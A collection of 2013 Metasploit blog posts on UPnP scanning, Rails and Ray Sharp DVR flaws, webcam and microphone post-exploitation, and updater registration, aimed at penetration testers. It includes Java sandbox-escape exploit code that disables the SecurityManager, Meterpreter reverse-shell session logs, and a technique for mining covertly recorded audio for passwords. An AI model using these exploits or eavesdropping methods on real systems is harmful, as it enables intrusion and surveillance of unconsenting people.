Skip navigation
All Places > Metasploit > Blog > 2013 > January

UPnP Scanning


The big news this week are the UPnP / SSDP vulnerability announcements that we've been coordinating between CERT/CC, open source vendors, and device manufacturers over the last couple months. We have a pretty excellent white paper on the subject, written by Metasploit founder and international superhacker HD Moore, so I won't attempt to rehash that here, but the TL;DR of what you can do next is to take a quick scan of your infrastructure with the retooled UPnP SSDP M-SEARCH Information Discovery module. With that, you can pick out endpoints that are specifically vulnerable to CVE-2013-0229, CVE-2013-0230, CVE-2012-5958, and CVE-2012-5959.


Incidentally, even if you find that you're not vulnerable to these particular exploit vectors, it's safe to say that there is no reason why your organization should be responsive to UPnP on an Internet-facing interface. One hundred percent of the time, this is a misconfiguration. So take a look. Please. Pretty please. With a cherry on top.


Also, I'm especially grateful to Jared Allar and Art Manion at CERT/CC up in Pittsburgh for coordinating with the various international CERTs and the dozens of manufacturers around the world. This kind of thing isn't easy to do on the down-low, especially given our progressive disclosure policy that we work against. Thanks guys!


Another Rails Exploit: CVE-2013-0333 Exposed


In the meantime, Metasploit core engineer James @egyp7 Lee and longtime contributor Jeff @jjarmoc Jarmoc teamed up to bring forth a fresh new exploit for CVE-2013-0333. According to my clock, it took approximately two and a half hours from the announcement of the vulnerability to jjarmoc's hack job on the exploit for CVE-2013-0156 using Postmodern's technique.


From there, Egypt picked up the ball and put together a proper new exploit, and incidentally refactored the ARCH_RUBY payload type in order to be a little easier to work with between the two exploits. Thanks to that work, the next exploit for a Rails vuln (heaven forbid) should be even easier to drop in.


Auditing Joomla


This week's update also has a pile of new auxiliary scanners for Joomla, thanks to mysterious newcomer Newpid0. He graciously provided a new Joomla Version Scanner, a Joomla Plugins Scanner, and a Joomla Page Scanner. Think of these as a mini-framework that can allow you to quickly audit your organization's CMS for some low-hanging fruit -- especially the Plugins scanner. While Joomla isn't as popular as Wordpress, and might not get the auditing attention that Wordpress is subject to, it's still plenty common. Thanks, masked stranger!


New Modules





If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For reader who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandon Turner's most excellent release notes.

This afternoon, another scary advisory was posted to the Ruby on Rails security discussion list. Fortunately, this one doesn't affect any Metasploit products. The previous advisory (that HD talked about here) dealt with Rails parameter parsing of XML from a POST request.  The short version is that XML can contain YAML, and YAML lets you deserialize instances of arbitrary classes. The one from this afternoon is very similar except this time it's JSON parsing that can be coerced into into YAML instead of XML parsing.


Triggering the bug is relatively simple, just send a request with "Content-Type: application/json" and a bunch of YAML in the body. The result is exactly what we had with the XML -> YAML bug, i.e. you can do one of a few super fun things:


  • Instantiate one of several builtin types including String, Fixnum, DateTime, etc
  • Allocate an arbitrary ruby object and call its init_with method
  • Allocate an arbitrary ruby object and call its instance_variable_set method
  • Instantiate an arbitrary ruby object and call its []= method



None of those are direct code execution, all by itself, but Postmodern and HD covered what you can do with them in pretty thorough detail, so I won't repeat it here.  Suffice it to say that a new module just went out and now there are two reliable exploits for Rails that don't care one whit about the application that runs on it.

CCTV-hack-metasploit.jpgOn January 22, 2013, a researcher going by the name someLuser detailed a number of security flaws in the Ray Sharp DVR platform. These DVRs are often used for closed-circuit TV (CCTV) systems and security cameras. In addition to Ray Sharp, the exposures seem to affect rebranded DVR products by Swann, Lorex, URMET, KGuard, Defender, DEAPA/DSP Cop, SVAT, Zmodo, BCS, Bolide, EyeForce, Atlantis, Protectron, Greatek, Soyo, Hi-View, Cosmos, and J2000. The vulnerabilities allow for unauthenticated access to the device configuration, which includes the clear-text usernames and passwords that, once obtained, can be used to execute arbitrary system commands root through a secondary flaw in the web interface. someLuser's blog post includes a script for obtaining the clear-text passwords as well as a standalone exploit that yields a remote root shell on any vulnerable device.


In short - this provides remote, unauthorized access to security camera recording systems.


These types of flaws are common in embedded appliances, but the impact is limited by firewalls and other forms of network access control. A vulnerable DVR that is protected by the corporate firewall is not much of a risk for most organizations. In this case, however, the situation is substantially worse. The Ray Sharp DVR platform supports the Universal Plug and Play (UPnP) protocol and automatically exposes the device to the internet if a UPnP-compatible router is responsible for network address translation (NAT) on the network. Many home and small office routers enable UPnP by default. This has the effect of exposing tens of thousands of vulnerable DVRs to the internet. For reference, the Ray Sharp firmware uses the "minupnp" open source implementation to perform this port mapping.


To determine the exposure level, I worked with someLuser to determine signatures for the web interface. The two most common models could be detected with the following signatures:

  • self.location = "webclient.html'
  • <TITLE>Web Client for DVR</TITLE>


These two signatures were matched against all HTTP services within the database. This returned over 58,000 unique IPs that were running a vulnerable DVR platform. This list covered over 150 countries, with the largest portion (~19,000) located within the United States, followed by India (~6,000), and Italy (~5,700).




Interestingly enough, the beloved firmware-mod-kit package used for router tweaks also succeeds in unpacking the firmware provided by Swann. This provides an easy way to obtain the raysharp_dvr ELF image without rooting the device over the serial console. This binary implements almost all of the device's functionality, including everything from the web server to the CD-ROM writer based on cdrecord. In addition to being a terrible architecture, this may have inadvertent licensing implications. A quick analysis of the binary points out another feature - in order to make these systems even more hackable easier to access, they can automatically register their IP with a dynamic DNS service. Based on raysharp_dvr binary, the following dynamic DNS providers are supported:



To make things interesting, the user-agent sent is "myclient 1.0" and a hard-coded credential is present within the binary, which decodes as:


This hardcoded credential seems to be related to the service, but this could not be confirmed. The hardcoded user agent, however, has caused concern before.


To make matters worse, the version of OpenSSL compiled into this binary is OpenSSL 0.9.8j (07 Jan 2009), a version that is over three years old and rife with security problems.


A quick review with IDA Pro identifies a number of trivial mistakes, including unbounded strcpy() calls. One particular gem that stood out is listed below:




A Metasploit module has been added that can be used to scan for vulnerable devices.


Metasploit Pro users should click on Modules and search for raysharp_dvr_passwords. The Ray Sharp DVR Password Retriever module should be selected. For Metasploit console uses, enter the following command to select the appropriate module:


$ sudo -s -E

# msfconsole

msf> use auxiliary/scanner/misc/raysharp_dvr_passwords


Once the module is loaded, enter the IP or IP range that you would like to test:


msf  auxiliary(raysharp_dvr_passwords) > set RHOSTS

msf  auxiliary(raysharp_dvr_passwords) > set THREADS 256

msf  auxiliary(raysharp_dvr_passwords) > run

[+] (user='admin' pass='1234546') mac=00-23-63-63-63-63 version=V2.1-20110716


Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

Hollywood Hacking: Tapping Webcams and Mics


metasploit-post-modules-audio-mic-webcam.jpgThis week's update has two new post modules for Metasploit, which enables the creative pen-tester to hit that creeper vibe so often missing on a typical engagement, both by Metasploit exploit dev Wei @_sinn3r Chen. They're both post-exploitation modules, so they presume you already have a session on the target via some other exploit.


First up is a webcam control module, which can take a snapshot using the target's webcam. Aside from capturing the looks of surprise when you execute your annoying popup, there are several office and cubicle configurations that expose sensitive information such as passwords, addresses, or other organization details within view of users' workstations, which are now on the table as collected evidence for a penetration test.


Second is a microphone control module, which brings the audio portion of your A/V torment. About a million attack scenarios open up when you've effectively bugged your target with their own equipment, but how to make sense of all your new input? Never fear, sinn3r put together a quick HOWTO on machine-driven keyword parsing using off-the-shelf tools, so now it's up to you to figure out how to prompt people to say their passwords and PINs aloud.


Java Exploits for CVE-2012-5076 and CVE-2012-5088


Java's been sticking in the security news, as you already know, so what better time to release some new exploits for some old vulnerabilities?  Metasploit exploit developer Juan Vazquez dropped a couple new Java exploit this week, along with one of his exceedingly detailed blog posts of how he got there. So, check out Juan's New Java Modules post, and come to the realizations that a) Java 0-days are cool, but even slightly aged Java exploits can be just as fun to exploit, and b) nobody updates Java anyway, so using these exploits on an engagement is a great way to prove that.


New Modules





If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandon Turner's most excellent release note two years ago, Metasploit implemented the microphone recording feature to stdapi thanks to Matthew Weeks.  And then almost a year ago, we actually lost that command due to a typo.  We, and apparently everyone else, never noticed that until I was looking at the webcam API again.  But of course, we quickly repaired the missing feature, and now "record_mic" is back in business as a meterpreter command in both Windows and Java meterpreter.  And yes, that means you get to use it in all kinds of platforms -- Windows, OSX, Linux, etc.


Frankly, I am quite surprised it took us this long to catch the problem, because that also means nobody was using it.  Perhaps this is because every professional penetration tester is a gentleman, not willing to tap into meetings via a compromised machine, and listen to people's conversations.  Or perhaps it's because "record_mic" isn't convenient enough to use, and most people don't have an idea how to process a bunch of WAV files?  Well, let's try to improve that.




"You know how to fight six men. We can teach you how to engage six hundred"


Since "record_mic" is a meterpreter command, that means in Metasploit Pro, you can only deploy that against your targets ONE BY ONE in the web GUI.  Or, you borrow the "run_all_post.rc" resource script, and then enable microphone recording in every shell in msfconsole.  To extend that capability a little bit further, "record_mic" is no longer just a meterpreter command, it can also be deployed as a post module.  That way, in Metasploit Pro, you can select ALL of your targets, or only some of them very easily -- like the following example:


Screen shot 2013-01-22 at 3.14.40 AM.png


"I'll analyze it... with SCIENCE!!!"


Say you've successfully recorded a bunch of people's meetings through their compromised laptops in WAV, time to extract information.  Maybe there's some goodies in these files -- passwords, company secrets, operations, future plannings, spendings, etc -- you never know.  However, this can be a rather time consuming task, so it's best to kind of automate it and narrow down interesting recordings.  You can try to do it with some kind of speech API, for example: AT&T speech API, Google Voice, Speech2Text, etc.  I'll use AT&T speech API for the following demonstration.  The proof-of-concept script can be downloaded [here].


Make sure you have a valid AT&T Speech API/secret key before trying this out.


To use this PoC, issue the following command:


$ ./d3v_wav_analyze.rb -i ~/.msf4/loot/ -o /tmp -a [API_KEY] -s [SECRET_KEY]


The script will use the speech API to translate each WAV file into text.  And then, we can narrow down interesting findings by looking for certain keywords, such as: username, password, passcode, passphrase, birthday, social security, account, etc, etc.  Here's a basic example:


Screen shot 2013-01-22 at 11.20.16 AM.png


The quality of your results depends on several things: How clearly the sound was captured, how many keywords you're searching, etc, etc.  I leave the rest of the experiment to you guys.

Last year Security Explorations published some awesome research, exploring the security state of the Java SE from Oracle, and disclosing different vulnerabilities and exploit vectors in this software. In fact, some of the last Java exploits found in the wild have been using techniques from the mentioned research. Today we're publishing two new modules exploiting some of the documented issues. In this blog post we would like to share something about them, with the hope it will allow a better understanding of the Java related issues exploited by malicious Java applets. Anyway, the Security Explorations lecture is recommended in order to gain a deep understanding of the exploited issues and the actual Java SE state of security.


Note: The issues exploited by these modules were patched (or tried to be patched) in Java 7u9, because of that, they will be working only against Java 7 (Update 7 and before).


CVE-2012-5076 - Abusing AverageRangeStatisticImpl.invoke()


The first of the modules is abusing the AverageRangeStatisticImpl class in the package. This package, introduced with Java 7, wasn't restricted by the default Java security properties configuration. This class provides a public method, invoke(),  which is doing an insecure usage of the the java.lang.reflect.Method.invoke method, calling it with user provided arguments:


    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object result;
        try {
            result = method.invoke(this, args);
        } catch (InvocationTargetException e) {
            throw e.getTargetException();
        } catch (Exception e) {
            throw new RuntimeException("unexpected invocation exception: " +
        } finally {
        return result;


This can be abused by a malicious applet to make calls to restricted classes, with the system class java.lang.reflect.Method.invoke.AverageRangeStatisticImpl as caller. This behavior can be abused, for example, to call the static java.lang.invoke.MethodHandles.Lookup.lookup() method;


    * Returns a {@link Lookup lookup object} on the caller,
    * which has the capability to access any method handle that the caller has access to,
    * including direct method handles to private fields and methods.
    * This lookup object is a <em>capability</em> which may be delegated to trusted agents.
    * Do not store it in place where untrusted code can access it.
    public static Lookup lookup() {
        return new Lookup();


And create a Lookup object with the system class java.lang.reflect.Method.invoke.AverageRangeStatisticImpl as lookupClass:


        /** Embody the current class (the lookupClass) as a lookup class
        * for method handle creation.
        * Must be called by from a method in this package,
        * which in turn is called by a method not in this package.
        * <p>
        * Also, don't make it private, lest javac interpose
        * an access$N method.
        Lookup() {
            this(getCallerClassAtEntryPoint(false), ALL_MODES);
            // make sure we haven't accidentally picked up a privileged class:


The getCallerClassAtEntryPoint will set the lookupClass:


        /* Obtain the external caller class, when called from Lookup.<init> or a first-level subroutine. */
        private static Class<?> getCallerClassAtEntryPoint(boolean inSubroutine) {
            final int CALLER_DEPTH = 4;
            //  Stack for the constructor entry point (inSubroutine=false):
            // 0: Reflection.getCC, 1: getCallerClassAtEntryPoint,
            // 2: Lookup.<init>, 3: MethodHandles.*, 4: caller
            //  The stack is slightly different for a subroutine of a Lookup.find* method:
            // 2: Lookup.*, 3: Lookup.find*.*, 4: caller
            // Note:  This should be the only use of getCallerClass in this file.
            assert(Reflection.getCallerClass(CALLER_DEPTH-2) == Lookup.class);
            assert(Reflection.getCallerClass(CALLER_DEPTH-1) == (inSubroutine ? Lookup.class : MethodHandles.class));
            return Reflection.getCallerClass(CALLER_DEPTH);


The checkUnprivilegedlookupClass will ensure the lookupClass isn't part of the "java.lank.invoke." package, I guess to avoid to use same reflection API to create a Lookup object with a system class as lookupClass:


        private static void checkUnprivilegedlookupClass(Class<?> lookupClass) {
            String name = lookupClass.getName();
            if (name.startsWith("java.lang.invoke."))
                throw newIllegalArgumentException("illegal lookupClass: "+lookupClass);


So far so good, with a MethodHandles.Lookup object with a system class as lookupClass, we can abuse the new reflection API to finally bypass the sandbox. In order to do it, the Class.forName method is used to get references for the restricted classes and, and these are used to define a custom provided class in a privileged class loader namespace:


MethodType localMethodType0 = MethodType.methodType(Class.class, String.class);
MethodHandle localMethodHandle0 = test.findStatic(Class.class, "forName", localMethodType0);
Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "" });
Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "" });

// Instance of
MethodType localMethodType1 = MethodType.methodType(Void.TYPE);
MethodHandle localMethodHandle1 = test.findConstructor(localClass1, localMethodType1);
Object localObject1 = localMethodHandle1.invokeWithArguments(new Object[0]);

// Context.createClassLoader
MethodType localMethodType2 = MethodType.methodType(localClass2, ClassLoader.class);
MethodHandle localMethodHandle2 = test.findVirtual(localClass1, "createClassLoader", localMethodType2);
Object localObject2 = localMethodHandle2.invokeWithArguments(new Object[] { localObject1, null });

// GeneratedClassLoader.defineClass
MethodType localMethodType3 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
MethodHandle localMethodHandle3 = test.findVirtual(localClass2, "defineClass", localMethodType3);
Class localClass3 = (Class)localMethodHandle3.invokeWithArguments(new Object[] { localObject2, null, buffer });


The provided class to be loaded implements PrivilegedAction, this action invokes setSecurityManager with a NULL argument to disable the Security Manager in the Java VM:



public class B
  implements PrivilegedExceptionAction
  public B()
      AccessController.doPrivileged(this); } catch (Exception e) {

  public Object run() {
    return new Object();


The exploitation method exposed before is also documented in detail on the Security Explorations paper (using, and has been used in the wild to exploit the CVE-2013-0422. Now you can use one of the new Metasploit modules to test it:


msf > use exploit/multi/browser/java_jre17_glassfish_averagerangestatisticimpl 
msf  exploit(java_jre17_glassfish_averagerangestatisticimpl) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 
[*] Using URL:
[*]  Local IP:
[*] Server started.
msf  exploit(java_jre17_glassfish_averagerangestatisticimpl) > [*]    java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5
[*]    java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5/
[*]    java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5/fvaWoLCE.jar
[*]    java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5/fvaWoLCE.jar
[*] Sending stage (30216 bytes) to
[*] Meterpreter session 1 opened ( -> at 2013-01-17 21:25:13 +0100

msf  exploit(java_jre17_glassfish_averagerangestatisticimpl) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer    : juan-c0de875735
OS          : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter > 




CVE-2012-5088 - Abusing MethodHandle.invokeWithArguments

The second modules presented is abusing  the java.lang.invoke.MethodHandle.invokeWithArguments function. This issue around this method is explained again by Security Explorations in this report. This public method is a wrapper to the invokeExact method, provided by the same MethodHandle class:


    * Performs a variable arity invocation, passing the arguments in the given array
    * to the method handle, as if via an inexact {@link #invoke invoke} from a call site
    * which mentions only the type {@code Object}, and whose arity is the length
    * of the argument array.
    * <p>
    * Specifically, execution proceeds as if by the following steps,
    * although the methods are not guaranteed to be called if the JVM
    * can predict their effects.
    * <ul>
    * <li>Determine the length of the argument array as {@code N}.
    *    For a null reference, {@code N=0}. </li>
    * <li>Determine the general type {@code TN} of {@code N} arguments as
    *    as {@code TN=MethodType.genericMethodType(N)}.</li>
    * <li>Force the original target method handle {@code MH0} to the
    *    required type, as {@code MH1 = MH0.asType(TN)}. </li>
    * <li>Spread the array into {@code N} separate arguments {@code A0, ...}. </li>
    * <li>Invoke the type-adjusted method handle on the unpacked arguments:
    *    MH1.invokeExact(A0, ...). </li>
    * <li>Take the return value as an {@code Object} reference. </li>
    * </ul>
    * <p>
    * Because of the action of the {@code asType} step, the following argument
    * conversions are applied as necessary:
    * <ul>
    * <li>reference casting
    * <li>unboxing
    * <li>widening primitive conversions
    * </ul>
    * <p>
    * The result returned by the call is boxed if it is a primitive,
    * or forced to null if the return type is void.
    * <p>
    * This call is equivalent to the following code:
    * <p><blockquote><pre>
    * MethodHandle invoker = MethodHandles.spreadInvoker(this.type(), 0);
    * Object result = invoker.invokeExact(this, arguments);
    * </pre></blockquote>
    * <p>
    * Unlike the signature polymorphic methods {@code invokeExact} and {@code invoke},
    * {@code invokeWithArguments} can be accessed normally via the Core Reflection API and JNI.
    * It can therefore be used as a bridge between native or reflective code and method handles.
    * @param arguments the arguments to pass to the target
    * @return the result returned by the target
    * @throws ClassCastException if an argument cannot be converted by reference casting
    * @throws WrongMethodTypeException if the target's type cannot be adjusted to take the given number of {@code Object} arguments
    * @throws Throwable anything thrown by the target method invocation
    * @see MethodHandles#spreadInvoker
    public Object invokeWithArguments(Object... arguments) throws Throwable {
        int argc = arguments == null ? 0 : arguments.length;
        MethodType type = type();
        if (type.parameterCount() != argc || isVarargsCollector()) {
            // simulate invoke
            return asType(MethodType.genericMethodType(argc)).invokeWithArguments(arguments);
        MethodHandle invoker = type.invokers().varargsInvoker();
        return invoker.invokeExact(this, arguments);


It's interesting because, as documented by Security Explorations, it allows to bypass security checks based on the immediate caller. It can be abused to get references to restricted classes with a code like that:


MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
MethodType localMethodType0 = MethodType.methodType(Class.class, String.class);
MethodHandle localMethodHandle0 = localLookup.findStatic(Class.class, "forName", localMethodType0);
Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "" });
Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "" });


The root cause is Class.forName() method being one of these doing security checks based on the immediate caller:


    * Returns the {@code Class} object associated with the class or
    * interface with the given string name.  Invoking this method is
    * equivalent to:
    * <blockquote>
    *  {@code Class.forName(className, true, currentLoader)}
    * </blockquote>
    * where {@code currentLoader} denotes the defining class loader of
    * the current class.
    * <p> For example, the following code fragment returns the
    * runtime {@code Class} descriptor for the class named
    * {@code java.lang.Thread}:
    * <blockquote>
    *  {@code Class t = Class.forName("java.lang.Thread")}
    * </blockquote>
    * <p>
    * A call to {@code forName("X")} causes the class named
    * {@code X} to be initialized.
    * @param      className  the fully qualified name of the desired class.
    * @return    the {@code Class} object for the class with the
    *            specified name.
    * @exception LinkageError if the linkage fails
    * @exception ExceptionInInitializerError if the initialization provoked
    *            by this method fails
    * @exception ClassNotFoundException if the class cannot be located
    public static Class<?> forName(String className)
                throws ClassNotFoundException {
        return forName0(className, true, ClassLoader.getCallerClassLoader());

The forName method will use the ClassLoader.getCallerClassLoader() to get the invoker ClassLoader and use it as the defining one of the current class. This getCallerClassLoader is trying to retrieve the caller and its ClassLoader:


    // Returns the invoker's class loader, or null if none.
    // NOTE: This must always be invoked when there is exactly one intervening
    // frame from the core libraries on the stack between this method's
    // invocation and the desired invoker.
    static ClassLoader getCallerClassLoader() {
        // NOTE use of more generic Reflection.getCallerClass()
        Class caller = Reflection.getCallerClass(3);
        // This can be null if the VM is requesting it
        if (caller == null) {
            return null;
        // Circumvent security check since this is package-private
        return caller.getClassLoader0();


But because of the wrapper method, the Reflection.getCallerClass(3) will see the invokeWithArgument() as the caller, and the getCallerClassLoader will finally use the loader for the MethodHandle system class (not the one for the Exploit class):




It will allow to get references to the restricted and classes. After that, recursive reflection is used, as exploited in the wild with CVE-2013-0422. The recursive reflection technique has been also documented also by @sagar38 here and @mihi42 here. It works because the new Reflection API security is also based in check the caller at the moment of acquire a MethodHandle. For example, we can check the MethodHandles.Lookup.findVirtual() method:


public MethodHandle findVirtual(Class<?> refc, String name, MethodType type) throws NoSuchMethodException, IllegalAccessException {
            MemberName method = resolveOrFail(refc, name, type, false);
            checkSecurityManager(refc, method);  // stack walk magic: do not refactor
            return accessVirtual(refc, method);

It uses the checkSecurityManager function to perform access checks, also based in the caller Class (again will see, incorrectly, the MethodHandle class as the caller):


        * Perform necessary <a href="MethodHandles.Lookup.html#secmgr">access checks</a>.
        * This function performs stack walk magic: do not refactor it.
        void checkSecurityManager(Class<?> refc, MemberName m) {
            SecurityManager smgr = System.getSecurityManager();
            if (smgr == null)  return;
            if (allowedModes == TRUSTED)  return;
            // Step 1:
            smgr.checkMemberAccess(refc, Member.PUBLIC);
            // Step 2:
            Class<?> callerClass = ((allowedModes & PRIVATE) != 0
                                    ? lookupClass  // for strong access modes, no extra check
                                    // next line does stack walk magic; do not refactor:
                                    : getCallerClassAtEntryPoint(true));
            if (!VerifyAccess.classLoaderIsAncestor(lookupClass, refc) ||
                (callerClass != lookupClass &&
                !VerifyAccess.classLoaderIsAncestor(callerClass, refc)))
            // Step 3:
            if (m.isPublic()) return;
            Class<?> defc = m.getDeclaringClass();
            smgr.checkMemberAccess(defc, Member.DECLARED);  // STACK WALK HERE
            // Step 4:
            if (defc != refc)

            // Comment from SM.checkMemberAccess, where which=DECLARED:
            * stack depth of 4 should be the caller of one of the
            * methods in java.lang.Class that invoke checkMember
            * access. The stack should look like:
            * someCaller                        [3]
            * java.lang.Class.someReflectionAPI [2]
            * java.lang.Class.checkMemberAccess [1]
            * SecurityManager.checkMemberAccess [0]
            // For us it is this stack:
            // someCaller                        [3]
            // Lookup.findSomeMember            [2]
            // Lookup.checkSecurityManager      [1]
            // SecurityManager.checkMemberAccess [0]

The technique to finally disable the Security Manager is the same as in the previous case.


MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });


And again, the another of  the new modules in action:

msf  exploit(java_jre17_method_handle) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 
[*] Using URL:
[*]  Local IP:
[*] Server started.
msf  exploit(java_jre17_method_handle) > [*]    java_jre17_method_handle - handling request for /ZxzpOK7
[*]    java_jre17_method_handle - handling request for /ZxzpOK7/
[*]    java_jre17_method_handle - handling request for /ZxzpOK7/ciwksCGP.jar
[*]    java_jre17_method_handle - handling request for /ZxzpOK7/ciwksCGP.jar
[*] Sending stage (30216 bytes) to
[*] Meterpreter session 1 opened ( -> at 2013-01-17 21:07:22 +0100

msf  exploit(java_jre17_method_handle) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer    : juan-c0de875735
OS          : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter > 




Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.



This week, we've addressed the changes introduced by Metasploit 4.5 on the command line updater, msfupdate. You can read about it over here, but the gist of it is, if you want to continue using msfupdate, you will want to take a few tens of seconds to activate your Metasploit installation, or get yourself moved over to a fully functional git clone of the Metasploit Framework. And speaking of updates...


Update to 4.5.1


Lately, Metasploit updates have been weighing in at about 150MB. This week's update is about twice that, since we revved up the release version to 4.5.1. Part of the reason for this is, of course, that dastardly Rails bug we talked about last week. After all, it would be cruel to let new Metasploit users stay exposed to known and popular Metasploit exploit. This update also revs up the Java binaries (there was a bug there too), nmap (just for general performance reasons), and recompiles PostgreSQL against the most recent versions of libxml and openssl libraries. Thanks to Brandon @blt04 Turner for the heroic effort turning this out.


Wordpress Pingback


This update has a few new modules this week as well, of course, including one that demonstrates a nifty portscan proxying technique using Wordpress's built-in XML-RPC interface... which is enabled by default. Using this technique, outsiders can pivot through an insecure Wordpress site, and mount an internal scan. Pretty fun. This was written up initially by ethicalhack3r, Metasploit and WPScan contributor Christian @_FireFart_ Mehlmauer implemented this technique shortly thereafter as a stand-alone Ruby application. It was of course only a matter of time before it showed up as a Metasploit module -- thanks to Thomas @smilingraccoon McCarthy and Brandon @zeknox McCann for this draft. Happy internal portscanning!


New Modules




If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.


For additional details on what's changed and what's current, please see Brandon Turner's most excellent release notes.

The Short Story


In order to use the binary installer’s msfupdate, you need to first register your Metasploit installation. In nearly all cases, this means visiting https://localhost:3790 and filling out the form. No money, no dense acceptable use policy, just register and go. Want more detail and alternatives? Read on.




A little over a year ago, Metasploit primary development switched to Git as a source control platform and GitHub as our primary source hosting service. We had outgrown SVN's largely linear, centralized development model and Git’s distributed nature was quite complementary to our open source BSD license.


Since Metasploit Framework has many thousands of users, msfupdate still pointed at our legacy repository. Rather than training all our users on Git installation (not to mention dealing with the... idiosyncrasies of the Windows Git solutions), it was easier for everyone to keep that running as a distribution mechanism for bleeding-edge updates.


Things were humming along in this way, with SVN picking up changes to metasploit-framework’s master branch, up until around the autumn of 2012. At that time, we saw that our legacy SVN infrastructure was getting pretty rickety, and users were complaining more and more of our SVN server's unresponsiveness. In addition, SVN itself is not that great at dealing with medium-to-large changes in the codebase (every file change necessitates a new TCP connection), whereas Git is pretty solid in that regard (changes are streamed over a single connection). So, in November of 2012, we cleaned up msfupdate, enabled switching between Git and SVN arbitrarily, and posted up a deprecation warning that the SVN route will be going away soon.


Meanwhile, in Metasploit Community, Metasploit Express, and Metasploit Pro (collectively known as the “binary installers”), through version 4.4, we actually shipped two different versions of the Metasploit Framework: one which used the in-product “Update Metasploit” administration function (it’s a button in the user interface), and one which used the Metasploit Framework’s msfupdate script. The former got the weekly updates we've been producing, and the latter pulled the latest commits to Metasploit Framework (including all our latest bugs).


As it turns out, if you used one, you tended not to use the other -- so it had the effect of shipping a great pile of dead code, depending on which update path you chose. When Metasploit 4.5 was released, we switched this to a single Metasploit Framework installation, and simply had msfupdate call out to the binary installation’s update function to fetch code. This reduced the size of the installer, reduced confusion around troubleshooting which “msf” directory you were in, and made the updates act in the way that the user tended to want.


However, this change has a catch: in order to get the weekly updates you need to register your Metasploit installation, since the installed version of Metasploit Framework is no longer tied to source control. As of 4.5, if you install via the binary installers, you are now in the weekly updates, which are always a little behind bleeding edge (with the upside being more QA and acceptance testing of the changes).  What this means that if you are installing Metasploit from the monolithic installers like a regular user, but are used to tracking bleeding-edge updates like a Metasploit developer, you are going to be out of luck, and get a “no updates found” error, until you register.


Of course, this is not a power grab from Rapid7, or an attempt to shut out the free, open source users, or anything like that. You do have options to get your updates, depending on your needs.


The Easy Way


Just activate Metasploit Community Edition. It's totally free and takes just a few seconds and a valid e-mail address. We don’t force you into an onerous legal agreement or require a subscription fee or anything like that. The simplest way to acquire a license key and activate is detailed in the Metasploit Activation How To, but it's pretty self-explanatory. Visit your installation's new user setup page (usually https://localhost:3790), pick up a license key by following the links from there, and activate. If you run into problems, there’s a delightful FAQ that’s plenty helpful.


The Hard^H^H^H^HFun Way


You can still get a hold of Metasploit Framework without the installers, but it requires some more investment in your operating environment. Right now, the best documentation around is using the Metasploit Developer Environment, which was written primarily by Tod Beardsley of Rapid7 and Peter Van Eeckhoutte of Corelan Team, and it requires an Ubuntu dev environment. This path will get you into Metasploit Framework just as the open source developers do, with a fully functional git environment, a couple of pre-defined remotes, and your SSH aliases squared away. You are ready to go with both using Framework and hacking on Framework.


That all said, as of today, this method does not install or configure some of the components that the binary installers provide -- notably, you are on your own for setting up a PostgreSQL database, nmap, and Java. It does get you going with a decent version of Ruby, and we plan on updating the documentation with the other components Real Soon Now.


